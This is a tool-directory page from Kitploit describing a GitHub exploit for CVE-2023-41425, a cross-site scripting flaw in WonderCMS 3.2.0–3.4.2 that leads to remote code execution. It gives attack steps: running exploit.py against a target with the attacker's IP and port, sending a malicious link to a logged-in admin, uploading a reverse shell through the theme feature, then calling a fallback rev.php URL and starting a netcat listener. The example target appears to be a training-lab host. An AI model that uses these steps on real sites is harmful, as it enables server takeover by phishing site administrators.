Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-41425-WonderCMS-Authenticated-RCE — Xss injection, WonderCMS 3.2.0 -3.4.2 | Kitploit
Tools/GitHubGitHub/diegomjx/cve-2023-41425-wondercms-authenticated-rce
Phishing ToolsPayload GenerationExploitationWeb Application ExploitationPenetration TestingLearning & EducationRemote Access Tool
GitHubdiegomjx/cve-2023-41425-wondercms-authenticated-rce

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-41425-WonderCMS-Authenticated-RCE

Xss injection, WonderCMS 3.2.0 -3.4.2

View Repository
11 year agoNot yet reviewed

CVE-2023-41425-WonderCMS-Authenticated-RCE

Description

WonderCMS v3.2.0 - v3.4.2 is vulnerable. Remote attackers can take full control of the server using a Cross-Site Scripting (XSS) exploit (For educational purposes only ). Here's the game plan:

How it works:

The exploit abuses the installModule component of WonderCMS to sneak a crafted script that runs arbitrary code.

The Setup

  • Tool: exploit.py
  • What You Need:
    • Target URL where WonderCMS is installed (no admin password required).
    • Your attacker's machine IP.
    • A port for your reverse shell listener.

Step-by-Step Execution

  1. The script generates a file called xss.js. This JavaScript weapon is designed to exploit reflected XSS.
  2. It spits out a malicious link. You’ll send that to the admin.
  3. The magic happens when the admin (a logged-in user) opens or clicks your link:
  • Background requests fire without their consent.
  • A reverse shell payload is uploaded using the theme/plugin upload feature.
  1. Once uploaded, the payload executes and grants you a reverse shell connection straight to the target server.
root@kitploit:~
python3 exploit.py <URL> <YOUR_IP> <YOUR_PORT>

Example

root@kitploit:~
python3 exploit.py http://sea.htb/loginURL 10.10.14.20 1234

Fail-Safe:

If the reverse shell doesn’t trigger automatically, just head over to:

root@kitploit:~
http://<TARGET_URL>/themes/revshell-main/rev.php?lhost=<YOUR_IP>&lport=<YOUR_PORT>

note:

Remember start a listener using the following command:

root@kitploit:~
nc -lvp 4444

Credit

prodigiousMind for discovering and reporting the vulnerability https://gist.github.com/prodigiousMind/fc69a79629c4ba9ee88a7ad526043413

Download Tool